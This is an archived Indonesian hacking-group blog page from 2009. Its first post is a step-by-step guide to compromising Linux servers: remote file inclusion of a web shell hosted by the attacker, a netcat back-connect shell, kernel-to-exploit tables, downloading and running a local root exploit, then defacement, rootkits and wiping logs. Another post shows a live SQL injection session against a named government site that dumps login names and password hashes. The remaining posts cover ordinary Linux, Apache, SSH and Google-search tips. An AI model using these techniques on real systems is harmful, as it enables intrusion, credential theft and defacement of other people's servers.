.:: ByRoE ::.

Local Root With NC :)

by yogioh on May.22, 2009, under Exploit

You will need:
Quote:
- Vulnerable Site in R.F.I.
- Shell for R.F.I. (e.g. c99, r57 or other)
- NetCat
- Local Root Exploit (depending on the kernel and the version)
This aim tutorial is to give a very general picture in process of Rooting
in Linux Server with Safe Mod: OFF.Suppose that we have found a site with RFI vulnerability:

Code:

http://www.hackedsite.com/folder/index.html?page=

e can run shell exploiting Remote File Inclusion, as follows:
Code:

http://www.hackedsite.com/folder/index.html?page=http://www.mysite.com/shells/evilscript.txt?

where evilscript.txt is our web shell that we have already uploaded to
our site. (www.mysite.com in the folder: shells)

After we enter in shell, first of all we will see the version of the kernel
at the top of the page or by typing: uname - a in Command line.

To continue we must connect with backconnection to the box. This can done with
two ways if we have the suitable shell.

We can use the Back-Connect module of r57/c99 shell or to upload a backconnector
in a writable folder

In most of the shells there is a backconnection feature without to upload the
Connect Back Shell (or another one shell in perl/c). We will analyze the first
way which is inside the shell (in our example the shell is r57).

Initially we open NetCat and give to listen in a specific port (this port must
be correctly opened/forwarded in NAT/Firewall if we have a router) with the
following way:

We will type: 11457 in the port input (This is the default port for the last versions
of r57 shell). We can use and other port.

We press in Windows Start -> Run -> and we type: cmd
After we will go to the NetCat directory:

Quote:
e.g.

cd C:\Program Files\Netcat
And we type the following command:
Quote:
nc -n -l -v -p 11456
NetCat respond: listening on [any] 11456 …
In the central page of r57 shell we find under the following menu::: Net:: and
back-connect. In the IP Form we will type our IP (www.cmyip.com to see our ip if
we have dynamic)

In the Port form we will put the port that we opened and NetCat listens.

If we press connect the shell will respond:

Now script try connect to <IP here> port 11456 …

If our settings are correct NetCat will give us a shell to the server

Now we wil continue to the Rooting proccess.

We must find a writable folder in order to download and compile the Local
Root Exploit that will give us root priviledges in the box. Depending on the version
of the Linux kernel there are different exploits. Some times the exploits fail to run
because some boxes are patched or we don’t have the correct permissions.List of the exploits/kernel:

Quote:
2.4.17 -> newlocal, kmod, uselib24
2.4.18 -> brk, brk2, newlocal, kmod
2.4.19 -> brk, brk2, newlocal, kmod
2.4.20 -> ptrace, kmod, ptrace-kmod, brk, brk2
2.4.21 -> brk, brk2, ptrace, ptrace-kmod
2.4.22 -> brk, brk2, ptrace, ptrace-kmod
2.4.22-10 -> loginx
2.4.23 -> mremap_pte
2.4.24 -> mremap_pte, uselib24
2.4.25-1 -> uselib24
2.4.27 -> uselib24
2.6.2 -> mremap_pte, krad, h00lyshit
2.6.5 -> krad, krad2, h00lyshit
2.6.6 -> krad, krad2, h00lyshit
2.6.7 -> krad, krad2, h00lyshit
2.6.8 -> krad, krad2, h00lyshit
2.6.8-5 -> krad2, h00lyshit
2.6.9 -> krad, krad2, h00lyshit
2.6.9-34 -> r00t, h00lyshit
2.6.10 -> krad, krad2, h00lyshit
2.6.13 -> raptor, raptor2, h0llyshit, prctl
2.6.14 -> raptor, raptor2, h0llyshit, prctl
2.6.15 -> raptor, raptor2, h0llyshit, prctl
2.6.16 -> raptor, raptor2, h0llyshit, prctl
We will see the case of 2.6.8 Linux kernel. We will need the h00lyshit exploit.

Some sites that we can find Local Root Exploits:

www.milw0rm (Try Search: “linux kernel”)

Other sites: www.packetstormsecurity.org | www.milw0rm.com
or try Googlin’ you can find ‘em all ;-)

We can find writable folders/files by typing:
Code:

find / -perm -2 -ls

We can use the /tmp folder which is a standard writable folder

We type:
Code:

cd /tmp

To download the local root exploit we can use a download command for linux like
wget.

For example:
Quote:
wget http://www.yoursite.com/localroot/h00lyshit.c
where http://www.yoursite.com/localroot/h00lyshit.c is the url of h00lyshit.

After the download we must compile the exploit (Read the instruction of the exploit
before the compile)

For the h00lyshit we must type:
Code:

gcc h00lyshit.c -o h00lyshit

Now we have created the executable file: h00lyshit.

The command to run this exploit is:
Code:

./h00lyshit <very big file on the disk>

We need a very big file on the disk in order to run successfully and to get root.

We must create a big file in /tmp or into another writable folder.

The command is:
Code:

dd if=/dev/urandom of=largefile count=2M

where largefile is the filename.

We must wait 2-3 minutes for the file creation

If this command fails we can try:
Code:

dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024

Now we can procced to the last step. We can run the exploit by typing:
Code:

./h00lyshit largefile or

./h00lyshit /tmp/largefile

(If we are in a different writable folder and the largefile is created in /tmp)

If there are not running errors (maybe the kernel is patched or is something wrong with
exploit run or large file) we will get root

To check if we got root:

id or

whoami

If it says root we got root!

Now we can deface/mass deface all the sites of the server or to setup a rootkit (e.g.
SSHDoor) and to take ssh/telnet shell access to the server.

We must erase all logs in order to be safe with a log cleaner. A good cleaner for this
job is the MIG Log Cleaner.

VIVA irc.byroe.net

Best regards 2 u all,

Leave a Comment more...

Multiple Google Talk Accounts:

by yogioh on May.22, 2009, under Tips & Trik

Here is the trick by which you can be online in multiple Google Talk instances and chat easily with anyone. Just do the following:
Right click on your Google Talk icon (On desktop) then select properties then just change Target value to

“C:\Program Files\Google\Google Talk\googletalk.exe” /nomutex

and you are done, enjoy…
Best regards 2 irc.byroe.net & all member byroe,

Leave a Comment more...

Guard Eggdrop ByroeNet

by SouLmaTe on Feb.26, 2009, under Tips & Trik, Tools

Bagi anda founder channel server byroenet kini ga usah khawatir mengenai eggdop untuk jaga channel.

Berikut cara install eggdrop guard

#wget http://www.byroe.net/download/bot.tar.gz
#tar -zxvf bot.tar.gz
#cd .rss
#./byroe [config] [nick] [ident] [ip] [channel tanpa #] [owner]
#./run [config] [fake proccess]

Met berexplorasi

untuk menambahkan kata kata kotor edit aja file keamanan.tcl

untuk membuat auto identify edit file identify.tcl

Join the forum discussion on this post - (1) Posts
Leave a Comment more...

SQL Injection With Schemafuzz

by bL4Ck_3n91n3 on Feb.08, 2009, under Uncategorized

Langsung aja yah om untuk mempersingkat waktu... klo udah nemu targetnya langsung buka terminal 

=======
Pertama hitung magic numbernya dan cari angka yang show

[0wn3d@raCrew ~]$ ./schemafuzz.py -u http://pangkalpinang.go.id/news_detail.php?news_code=209 --findcol
[+] URL: http://pangkalpinang.go.id/news_detail.php?news_code=209–
[+] Evasion Used: “+” “–”
[+] 15:24:48
[-] Proxy Not Given
[+] Attempting To find the number of columns…
[+] Testing: 0,1,2,3,4,5,6,7,
[+] Column Length is: 8
[+] Found null column at column #: 2
[+] SQLi URL: http://pangkalpinang.go.id/news_detail.php?news_code=209+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7–
[+] byroe URL: http://pangkalpinang.go.id/news_detail.php?news_code=209+AND+1=2+UNION+SELECT+0,1,byroe,3,4,5,6,7
[-] Done!

Setelah itu kita mencari tahu nama-nama database yang ada disana
[0wn3d@raCrew ~]$ ./schemafuzz.py -u http://pangkalpinang.go.id/news_detail.php?news_code=209+AND+1=2+UNION+SELECT+0,1,byroe,3,4,5,6,7 –dbs
[+] URL: http://pangkalpinang.go.id/news_detail.php?news_code=209+AND+1=2+UNION+SELECT+0,1,byroe,3,4,5,6,7–
[+] Evasion Used: “+” “–”
[+] 15:34:58
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration…
        Database: u3713_pkp
        User: u3713_pkp@localhost
        Version: 5.0.27-standard
[+] Showing all databases current user has access too!
[+] Number of Databases: 1

[0] u3713_pkp

[-] 15:35:12
[-] Total URL Requests 3
[-] Done

cuman ada satu database rupanya :p selanjutnya cari informasi database

[0wn3d@raCrew ~]$ ./schemafuzz.py -u http://pangkalpinang.go.id/news_detail.php?news_code=209+AND+1=2+UNION+SELECT+0,1,byroe,3,4,5,6,7 –info
[+] URL: http://pangkalpinang.go.id/news_detail.php?news_code=209+AND+1=2+UNION+SELECT+0,1,byroe,3,4,5,6,7–
[+] Evasion Used: “+” “–”
[+] 15:36:09
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration…
        Database: u3713_pkp
        User: u3713_pkp@localhost
        Version: 5.0.27-standard

[+] Do we have Access to MySQL Database: No

[+] Do we have Access to Load_File: No

[-] 15:36:15
[-] Total URL Requests 3
[-] Done

Nah udah tau nama database dan versi databasenya yaitu versi 5 berarti kita bisa melakukan extracting nama-nama kolom dan tabel yang ada di dalam database tersebut

[0wn3d@raCrew ~]$ ./schemafuzz.py -u http://pangkalpinang.go.id/news_detail.php?news_code=209+AND+1=2+UNION+SELECT+0,1,byroe,3,4,5,6,7 –schema -D u3713_pkp
[+] URL:http://pangkalpinang.go.id/news_detail.php?news_code=209+AND+1=2+UNION+SELECT+0,1,byroe,3,4,5,6,7–
[+] Evasion Used: “+” “–”
[+] 15:37:58
[+] Proxy Not Given
[+] Gathering MySQL Server Configuration…
	Database: u3713_pkp
	User: u3713_pkp@localhost
	Version: 5.0.27-standard
[+] Showing Tables & Columns from database “u3713_pkp”
[+] Number of Tables: 28

[Database]: u3713_pkp
[Table: Columns]
[0]f001: bannerid,title,file,aktifasi,file_ext,link,postedby
[1]f002: KomoditiID,Komoditi,Nominal,UpdateBy,UpdateDate
[2]f003: ForeignID,Foreign,Symbol,KursRp,UpdateBy,UpdateDate
[3]f004: infokotaid,infokotatitle,infokotacontent,infokotainputdate,postedby
[4]f005: newscode,newstype,newstitle,newspreview,newscontent,news_pic,newsregdate,postedby
[5]f006: potensicode,potensititle,potensicontent,potensiinputdate,postedby
[6]f009: GroupCode,ModuleCode,AssignAuthority,SaveAuthority,PrintAuthority,UpdateAuthority,DeleteAuthority,CreatedBy,CreatedDate,UpdateBy,UpdateDate
[7]f010: GroupCode,GroupName,CreatedBy,CreatedDate,UpdateBy,UpdateDate
[8]f011: LoginName,Password,FullName,GroupCode,CreatedBy,CreatedDate,UpdateBy,UpdateDate
[9]f012: ModuleCode,ModuleName,Url,ModuleMenu,CreatedBy,CreatedDate,UpdateBy,UpdateDate
[10]f013: gfoto_id,gfoto_title,gfoto_location,gfoto_regdate,gfoto_approval
[11]f014: picgaleri_id,picgaleri_name,picgaleri_ext,gfoto_id
[12]f015: AgendaCode,Pihak,Tanggal,Jam,Tempat,Acara
[13]f016: tupoksiid,jabatan,tugas,fungsi,image,subject
[14]f017: depositid,bulan,bunga,updateby,updatedate
[15]f018: Perda_ID,Perda_No,Tahun,Tentang,link
[16]f019: Perda_ID,Kategori,Digit,Keterangan,ID
[17]f020: PerdaDetail_ID,Perda_ID,Bab,Keterangan,Opt
[18]f021: ID,PerdaDetail_ID,Pasal,Point,SubPoint,Keterangan
[19]f022: Raperda_ID,Raperda_No,Tahun,Tentang,status
[20]f023: Raperda_ID,Kategori,Digit,Keterangan,ID
[21]f024: RaperdaDetail_ID,Raperda_ID,Bab,Keterangan
[22]f025: RaperdaDetail_ID,Pasal,Point,SubPoint,Keterangan
[23]intro: introid,title,file,file_ext,status
[24]kontak: id_kontak,nama,email,komentar,posteddate
[25]pooling: Pooling_ID,Question,Answer1,Answer2,Answer3,Answer4,ActiveStatus
[26]pooling_result: Pooling_ID,JAnswer1,JAnswer2,JAnswer3,JAnswer4
[27]profile: NomorProfile,Nama,NIP,Alamat,Kota,TpLahir,TgLahir,Jabatan,Agama,Pendidikan,NamaIstri,JumAnak,NamaBapak,NamaIbu,TelpRumah,TelpKantor,TelpSeluler,Kantor,Foto,Fraksi

[-] [15:48:09]
[-] Total URL Requests 179
[-] Done

Selanjutnya kita dumping databasenya

[0wn3d@raCrew ~]$ ./schemafuzz.py -u http://pangkalpinang.go.id/news_detail.php?news_code=209+AND+1=2+UNION+SELECT+0,1,byroe,3,4,5,6,7 –dump -C LoginName,Password -T f011 -D u3713_pkp
[+] URL: http://pangkalpinang.go.id/news_detail.php?news_code=209+AND+1=2+UNION+SELECT+0,1,byroe,3,4,5,6,7–
[+] Evasion Used: “+” “–”
[+] 07:15:31
[-] Proxy Not Given
[+] Gathering MySQL Server Configuration…
        Database: u3713_pkp
        User: u3713_pkp@localhost
        Version: 5.0.27-standard
[+] Dumping data from database “u3713_pkp” Table “f011″
[+] and Column(s) [’LoginName’, ‘Password’]
[+] Number of Rows: 2

[0] 4d31n:fdfbe5666d7cd46517daeef2ba28fbb2:
[1] sadap:39b622494f7d5a8f7b700b69ddf341fb:
[2] No data

[-] 07:15:33
[-] Total URL Requests 4
[-] Done

Nah udah deh Selanjutnya tinggal di crack passwordnya :)
1 Comment more...

Instal dan Konfigurasi sshd di Ubuntu Gutsy Gibbon

by tux-kecil on Feb.07, 2009, under Linux

opensshOpenSSH adalah protokol SSH yang bersifat gratis, handal sebagai alat koneksitas jaringan. Banyak pengguna telnet, rlogin, ftp, dan program lainnya mungkin tidak menyadari bahwa password mereka ditransmisikan lewat Internet tanpa enkripsi, tetapi protokol SSH menggunakan enkripsi. OpenSSH mengenkripsi seluruh lalulintas (termasuk username dan password) yang secara efektif mengeliminasi pencurian data, pembajakan koneksi (connection hijacking), dan serangan jaringan lainnya. Sebagai tambahan, OpenSSH menyediakan banyak sekali kemampuan tunneling aman, seperti sebuah varietas metode otentikasi. Untuk informasi detail mengenai OpenSSH bisa dibaca di http://www.openssh.com/

Intinya, dengan ssh kita dapat melakukan remote komputer secara aman karena data-data selama kita berkomunikasi dengan komputer target akan dienkripsi. Jadi jangan khawatir terhadap aksi-aksi hijacking dan aktifitas penetrasi jaringan lainnya. :) Berbeda dengan telnet dan ftp. Pada telnet dan FTP, data tidak dienkripsi sehingga cenderung unsecure.

Instalasi ssh melalui apt-get
1. Install paket ssh, caranya:

sudo apt-get install ssh

2. Nah… kalau sudah terinstall, tinggal edit file /etc/ssh/sshd_config

(continue reading…)

Leave a Comment :, , , more...

Install Apache Server di Linux

by bL4Ck_3n91n3 on Feb.05, 2009, under Linux

hhhmmm…. sebelum menjelaskan lebih jauh tentang apache ada baiknya kita mengetahui apa pengertian dari Apache. Apache adalah server web yang dapat dijalankan di banyak sistem operasi (Unix, BSD, Linux, Microsoft Windows dan Novell Netware serta platform lainnya) yang berguna untuk melayani dan memfungsikan situs web. Protokol yang digunakan untuk melayani fasilitas web/www ini mengunakan HTTP. Apache memiliki fitur-fitur canggih seperti pesan kesalahan yang dapat dikonfigur, autentikasi berbasis basis data dan lain-lain. Apache juga didukung oleh sejumlah antarmuka pengguna berbasis grafik (GUI) yang memungkinkan penanganan server menjadi mudah.

Apache merupakan perangkat lunak sumber terbuka dikembangkan oleh komunitas terbuka yang terdiri dari pengembang-pengembang dibawah naungan Apache Software Foundation.

Nah sudah cukup pengenalannya tentang apache, sekarang saya akan memaparkan cara install Apache di localhost linux. Disini saya akan menggunakan Software Xampp. Oke langsung saja kita mulai…

Buka terminal dan login ke root

[0wn3d@raCrew ~]$ su -
Password:
[root@raCrew ~]#

nah setelah itu download file xampp ke komputer kamu…

[root@raCrew ~]# wget http://transact.dl.sourceforge.net/sourceforge/xampp/xampp-linux-1.7.tar.gz

Resolving prdownloads.sourceforge.net… 216.34.181.60
Connecting to prdownloads.sourceforge.net|216.34.181.60|:80… connected.
HTTP request sent, awaiting response… 302 Found
Location: http://transact.dl.sourceforge.net/sourceforge/xampp/xampp-linux-1.7.tar.gz [following]
–03:36:35– http://transact.dl.sourceforge.net/sourceforge/xampp/xampp-linux-1.7.tar.gz
=> `xampp-linux-1.7.tar.gz’
Resolving transact.dl.sourceforge.net… 202.55.147.10
Connecting to transact.dl.sourceforge.net|202.55.147.10|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 56,666,935 (54M) [application/x-gzip]
100%[====================================>] 56,666,935 –.–K/s

03:39:00 (54 MB/s) - `xampp-linux-1.7.tar.gz’ saved [54/54]

nah setelah itu extract file tadi…

[root@raCrew ~]# tar -zxvf xampp-linux-1.7.tar.gz
lampp/var/mysql/test/testah.MYI
lampp/var/mysql/test/testah.frm
lampp/var/mysql/test/testak.MYD
lampp/var/mysql/test/testai.MYI
lampp/var/mysql/test/testak.MYI
lampp/var/mysql/test/testak.frm
lampp/var/mysql/test/testad.frm
lampp/var/mysql/test/testac.MYD
lampp/var/mysql/test/testac.frm
lampp/var/mysql/test/testai.frm
lampp/var/mysql/test/testag.frm
lampp/var/mysql/test/testag.MYI
lampp/var/mysql/test/testag.MYD
lampp/var/mysql/test/testab.frm
lampp/var/mysql/test/testaa.MYD
lampp/var/mysql/test/testaa.frm
lampp/var/mysql/mysql_upgrade_info
lampp/var/proftpd/
lampp/var/proftpd/proftpd.delay
lampp/var/run/
lampp/RELEASENOTES
lampp/lampp
lampp/libexec/
etc…..

nah setelah semuanya udah di extract sekarang jalankan apache

[root@raCrew ~]# /opt/lampp/lampp start
Starting XAMPP 1.7…
LAMPP: Starting Apache…
LAMPP: Starting MySQL…
LAMPP started.

————–

jadi deh… sekarang buka browser lalu ketikkan
http://localhost/

maka hasilnya seperti ini

apache

Leave a Comment more...

Tunneling di Linux

by bL4Ck_3n91n3 on Feb.03, 2009, under Linux

Berikut ini adalah tutorial tunneling di linux, mungkin ada yang sudah bisa melakukannya menggunakan putty… tapi disini saya akan memperlihatkan caranya menggunakan terminal :D sebelumnya saya harap kamu sudah mempunyai ssh yang bisa dipakai untuk tunneling…

langsung saja buka terminal…
1

lalu ketikkan perintah berikut :
ssh username@hostname -D port -C

username : user login ssh kamu
hostname : alamat ip ssh kamu
port : port yang akan di gunakan untuk tunneling

seperti contoh
[0wn3d@raCrew ~]$ ssh democp@92.48.64.148 -D 2121 -C
democp@92.48.64.148’s password:
Last login: Tue Feb 3 05:26:53 2009 from xx.xx.xxx.xxx
Shell access is not enabled for demo accounts!

nah apabila seperti itu maka langsung saja lakukan configurasi di firefox
masukkan 127.0.0.1 di kolom socks dan port yang 2121

setelah melakukan konfigurasi lakukan pengecekan di situs yang khusus untuk mengecek alamat ip…

maka hasilnya adalah ipmu akan berubah

2

1 Comment more...

Command Dasar Linux

by c1pmunk on Feb.03, 2009, under Linux, Tips & Trik

Berikut merupakan perintah-perintah konsole dasar untuk melihat, mengeksekusi, dan memanipulasi file/directory di Linux :

ls
untuk menampilkan isi dari sebuah direktori seperti perintah dirdi DOS. Anda dapat menggunakan beberapa option yang disediakan untuk mengatur tampilannya di layar. Bila Anda menjalankan perintah ini tanpa option maka akan ditampilkan seluruh file nonhidden(file tanpa awalan tanda titik) secara alfabet dan secara melebar mengisi kolom layar.

dir
sama juga dengan ls, yaitu untuk menampilkan file dalam suatu directory.
cd /
adalah perintah untuk masuk ke dalam suatu directory. Perintah ini sama dengan yang biasa kita pakai di DOS.
misalnya : cd /home/byroe
Artinya : masuk ke dalam folder “home” yang berada di bawah user “byroe”

1. Perintah diatas juga dapat diketikan :
cd /home (Enter)
cd byroe

2. Perintah untuk keluar dari directory yang sedang aktif :
cd\ ; (Enter)

mkdir
adalah perintah untuk membuat directory, dan sama dengan md di DOS.
1. membuat folder dalam suatu directory yang sedang aktif.
Misalnya : mkdir data
Artinya : Membuat folder yang bernama “data” yang disimpan pada directory yang sedang aktif.

2. membuat folder pada directory untuk user lain.
Misalnya : jika ingin membuat folder yang bernama “data” di bawah user lain, misalnya saja nama
user-nya “byroe”, maka perintahnya akan berbeda.
kita masuk dulu ke directory “home” yang berada di bawah user “byroe” dengan perintah :
cd /home
cd byroe (Enter)
ketik : sudo mkdir data
jika dimintai pasword : masukan password yang dipakai login.

cp
adalah perintah untuk meng-copy.
1. Meng-copy file :
cp –copy (1)
/home/byroe/Latihan (2)
/linux.odt (3)
/home/byroe/data/ (4)

Keterangan :
1. — copy : adalah perintah untuk meng-copy file.
2. menyatakan directory tempat file berada.
3. merupakan nama file yang akan di copy.
4. tempat directory tempat meletakan file yang di-copy.

2. Meng-copy folder beserta file-nya :
cp -r (1)
/home/byroe/Latihan (2)
/home/byroe/data/ (3)

Keterangan :
1. -r : adalah perintah untuk meng-copy folder beserta file-nya.
2. menyatakan directory folder yang akan di copy.
3. menyatakan directory untuk meletakan folder di copy.

mv
Untuk memindahkan file dari satu lokasi ke lokasi yang lain. Bila argumen yang kedua berupa sebuah direktori maka mv akan memindahkan file ke direktory tersebut. Bila kedua argumen berupa file maka nama file pertama akan menimpa file kedua. Selain memindahkan, perintah ini juga dapat digunakan untuk me-rename.

1. memindahkan file:
mv /home/byroe/Latihan
1            2
/per_cobaan.odt /home/byroe/data/
3                             4

Keterangan :
1. mv : adalah perintah untuk memindahkan file.
2. menyatakan directory tempat file berada.
3. merupakan nama file yang akan dipindahkan.
4. tempat /directory tempat meletakan file yang dipindahkan.

2. me-rename file :
mv /home/byroe/Latihan
1       2
/percobaan.odt
3
/home/byroe/Latihan
4
/per_cobaan.odt
5

Keterangan :
1. mv : adalah perintah untuk me-rename file.
2. menyatakan directory tempat file berada.
3. nama file yang akan di-rename
4. tempat directory tempat meletakan file yang di-rename.
5. nama file yang baru.

rm
Untuk menghapus file dan secara default rm tidak menghapus direktory. Gunakan secara hati-hati perintah ini terutama dengan option -r yang secara rekursif dapat mengapus seluruh file.
Misalnya:
rm /home/byroe/data/percobaan.odt
Keterangan : Hapus file “percobaan.odt”, yang terletak dalam directory “data” yang dimiliki oleh user “byroe”.

rmdir
menghapus suatu directory. Dengan catatan gunakan perintah ini, jika anda sudah yakin kalau directory dalam keadaan “empty”.
Menghapus directory pada user yang sedang aktif.
misalnya : User yang aktif adalah “byroe”.
Perintahnya :
rmdir /home/byroe/data/per_cobaan/

Keterangan : untuk menghapus folder “per_cobaan” dimana folder dalam keadaan kosong.
Gunakan perintah ini, jika directory dalam keadaan berisi.
Perintahnya :
rm -r /home/aan/data/percobaan/

Keterangan :
-r : untuk menghapus folder “percobaan” beserta dengan isinya.

3. menghapus directory pada user lain, melalui user yang sedang aktif. Gunakan perintah ini, jika anda sudah yakin kalau directory dalam keadaan “empt”.

misalnya : folder yang dihapus berada dalam user byroe.
Perintahnya :
cd /home/byroe (Untuk masuk ke user byroe setelah itu tekan enter).
sudo rmdir [nama_folder]

chmod
Digunakan untuk menambah dan mengurangi ijin pemakai untuk mengakses file atau direktory. Anda dapat menggunakan sistem numeric coding atau sistem letter coding. Ada tiga jenis permission/perijinan yang dapat dirubah yaitu r untuk read, w untuk write dan x untuk execute.

Numeric Coding
Permission untuk user, group dan other ditentukan dengan menggunakan kombinasi angka-angka.
Misalnya : chmod 777 /home/byroe/Latihan/file.odt

Keterangan :
chmod 777
Adalah untuk mmberi ijin baca, tulis, dan eksekusi untuk owner, group, dan other untuk “file.odt”.

Letter Coding
Digunakan untuk memberi permission kepada masing-masing u (user), g (group), o (other) dan a (all) dengan hanya memberi tanda plus (+) untuk menambah ijin dan tanda minus (-) untuk mencabut ijin.
Misalnya : chmod ug+rx file.odt

Keterangan :
Chmod ug+rx
Adalah memberikan ijin baca dan eksekusi file “file.odt” kepada owner dan group.

chown
Digunakan mengganti owner dari suatu file atau directory.
Misalnya :
sudo chown root:root /home/byroe/Latihan/file.odt
1         2        3      4             5

Keterangan :
1. sudo : untuk perintah masuk sebagai root.
2. chown : untuk mengubah kepemilikan
3. root : menyatakan user.
4. root : menyatakan group.
5. direktory yang menyatakan letak file “file.odt”.

passwd
Digunakan untuk mengganti password root. Anda akan selalu diminta mengisikan password lama dan selanjutnya akan diminta mengisikan password baru sebanyak dua kali.

su -
Untuk login sementara sebagai user lain. Bila user ID tidak disertakan maka komputer menganggap Anda ingin login sementara sebagai super user atau root. Bila Anda bukan root dan user lain itu memiliki password maka anda harus memasukkan passwordnya dengan benar. Tapi bila Anda adalah root maka Anda dapat login sebagai user lain tanpa perlu mengetahui password user tersebut.

Locate
untuk mencari path file atau directory.
Misalnya :
locate ‘Command di linux.odt’
1           2

Keterangan :
1. locate: merupakan perintah.
2. merupakan nama file yang dicari.

pwd
Untuk mengetahui posisi directory yang sedang aktif

ps aux
untuk melihat proses-proses yang sedang berjalan.

kill
Untuk mematikan proses yang sedang berjalan.
Misalnya : kill 5511

Keterangan : Adalah untuk mematikan proses yang ke 5511

df
Untuk mengetahui informasi tentang media penyimpanan.

tar -xzvf
untuk mengekstrak file dalam format *.tar atau *.tar.gz

Misalnya :
tar -xzvf /media/sda5/Software\
1                2
/data/xampp-linux-1.6.4.tar.gz -C /opt/
3

Keterangan :
1. nama media tempat file yang diekstrak
2. nama file yg akan diektrak
3. tempat file diletakan, setelah di ekstrak.

tar -xjvf
Untuk mengekstrak file dalam format *.bz2

start
Adalah perintah untuk menjalankan servis.
Misalnya : sudo /opt/lampp/lampp start

Keterangan : Adalah perintah untuk menjalankan service dari xampp.

stop
Adalah perintah untuk menghentikan servis.
Misalnya : sudo /opt/lampp/lampp stop
Keterangan : Adalah perintah untuk menghentikan service dari xampp.

Meng-archieve file ke format : tar, tar.bz2, tar.gz
Archieve *.tar :
~/Latihan di Linux $ tar -cjf byroe.tar.bz2 byroe.odt
1                                       2       3                4

Keterangan :
1. Folder tempat data yang di-archive disimpan
2. Perintah untuk meng-archive ke dalam format (.tar.bz2)
3. Nama file baru yang di-archive, beserta formatnya
4. Nama file yang yang akan di-archive

Arcieve *.tar.bz2 :
~/coba_archive$ tar -cjf coba.tar.bz2 test/
1                                   2              3      4

Keterangan :
1. Folder tempat data yang di-archive disimpan
2. Perintah untuk meng-archive ke dalam format (.tar.bz2)
3. Nama file baru yang di-archive, beserta formatnya
4. Nama folder yang yang akan di-archive

Archieve *.tar.gz :
~/coba_archive$ tar -cf coba.tar test/
1                           2           3          4

Keterangan :
1. Folder tempat data yang di-archive disimpan
2. Perintah untuk meng-archive ke dalam format (.tar)
3. Nama file baru yang di-archive, beserta formatnya
4. Nama folder yang yang akan di-archive. (berlaku juga untuk file)

man
Untuk menampilkan manual page atau teks yang menjelaskan secara detail bagaimana cara penggunaan sebuah perintah. Perintah ini berguna sekali bila sewaktu-waktu Anda lupa atau tidak mengetahui fungsi dan cara menggunakan sebuah perintah.

Shutdown
Perintah ini untuk mematikan sistem. Pada beberapa sistem anda bisa menghentikan komputer dengan perintah shutdown -h now dan merestart sistem dengan perintah shutdown -r now atau dengan kombinasi tombol Ctr-Alt-Del.

tail
Untuk menampilkan 10 baris terakhir dari suatu file. Default baris yang ditampilkan adalah 10 tapi Anda bisa menentukan sendiri berapa baris yang ingin ditampilkan.
Perintahnya : tail [jumlah baris] [file file ….]

talk
Untuk mengadakan percakapan melalui terminal. Input dari terminal Anda akan disalin di terminal user lain, begitu sebaliknya.

mount
Perintah ini akan me-mount filesystem ke suatu direktori atau mount-point yang telah ditentukan. Hanya superuser yang bisa menjalankan perintah ini.

Misalnya :
mount -t ntfs /dev/sda1 /media/Data
Atau
mount -t fat32 /dev/sda2 /media/System

Keterangan :
Ntfs / Fat32 : menyatakan format hardisk
/dev/sda2/media/nama_media: menyatakan nama direktory atau mount-point-nya .

umount
Adalah kebalikan dari perintah mount, yaitu untuk meng-unmount filesystem dari mount-pointnya. Setelah perintah ini dijalankan direktory yang menjadi mount-point tidak lagi bisa digunakan. Penulisannya hampir sama dengan mount, yaitu tinggal mengganti kata mount dengan umount.

who
Untuk menampilkan siapa saja yang sedang login. Perintah ini akan menampilkan informasi mengenai login name, jenis terminal, waktu login dan remote hostname untuk setiap user yang saat itu sedang login.

alias
Digunakan untuk memberi nama lain dari sebuah perintah.
Misalnya : alias dir = ls

Keterangan :
Digunakan apabila ingin perintah ls dapat juga dijalankandengan mengetikkan perintah dir.

Unalias
Adalah kebalikan dari perintah alias, dimana perintah ini akan membatalkan sebuah alias.

1 Comment more...

Kode-kode Google

by Cavalera on Jan.21, 2009, under Tips & Trik

Ketikkan URL atau kriteria pencarian Anda setelah titik dua, jangan pake spasi.

ext:
Mencari tipe file tertentu. misalkan ‘ext:zip.’

related:
mencari website dengan tema-tema serupa
misalkan ‘related :o shop.com’

site:
menampilkan sub-site. misalkan ’site:byroe.co.cc’, Mbah google akan menampilkan semua sub-site dibawah http://byroe.co.cc

allinurl:
Memperhatikan istilah pencarian dalam URL.
misalkan ‘allinurl:commandline’ kamu akan menadpatkan website yang menggunakan kata “commandline” didalamnya.

allintittle:
Mencari istilah dalam baris judul. Dengan perintah ini kamu akan mencari dalam baris-baris judul website, misalkan ‘allintitle:detik.com’

define:
Pencarian dengan menampilkkan penjelasan istilah. kamu mau tahu tentang “cybercrime”, dengan mengetikkan ‘define:cybercrime’ maka anda akan mendapatkan sejumlah website yang menjelaskan istilah itu secara gamblang.

link:
Memeriksa Popularitas Website. Semakin menarik Website, semakin banyak link situs kesana. mau tahu seberapa banyak link dari situs lainnya di Homepage pribadi kamu ‘link:namahomepage’

filetype:torrent
Menemukan file-file torrent. Mbah google ga suka ini, makanya berusaha dihalangin. tapi dengan mengetikkan nama file sebelum perintah ini, pencarian file bitTorrent masih bisa dilakukan.
misalkan ‘cryptography filetype:torrent’

movie:
menampilkan info film. bagi kamu-kamu yang ngerti “bhoso londo”–Inggris, bisa dapat review blocbuster actual
contoh ‘movie:i am legends’

daterange:
Menemukan website yang baru di index. Mbah google akan menampilkan website yang diindeks dalam waktu tertentu.
masukkan dalam format tanggal USA misalkan ‘daterange :( 2008-01-06)(2006-01-31)’

Selamat mencoba

Leave a Comment more...

Dangerous Google - Searching For Secrets

by Cavalera on Jan.21, 2009, under News

Join the forum discussion on this post - (1) Posts
Leave a Comment more...

Looking for something?

Use the form below to search the site:

Still not finding what you're looking for? Drop a comment on a post or contact us so we can take care of it!

Visit our friends!

A few highly recommended friends...

Archives

All entries, chronologically...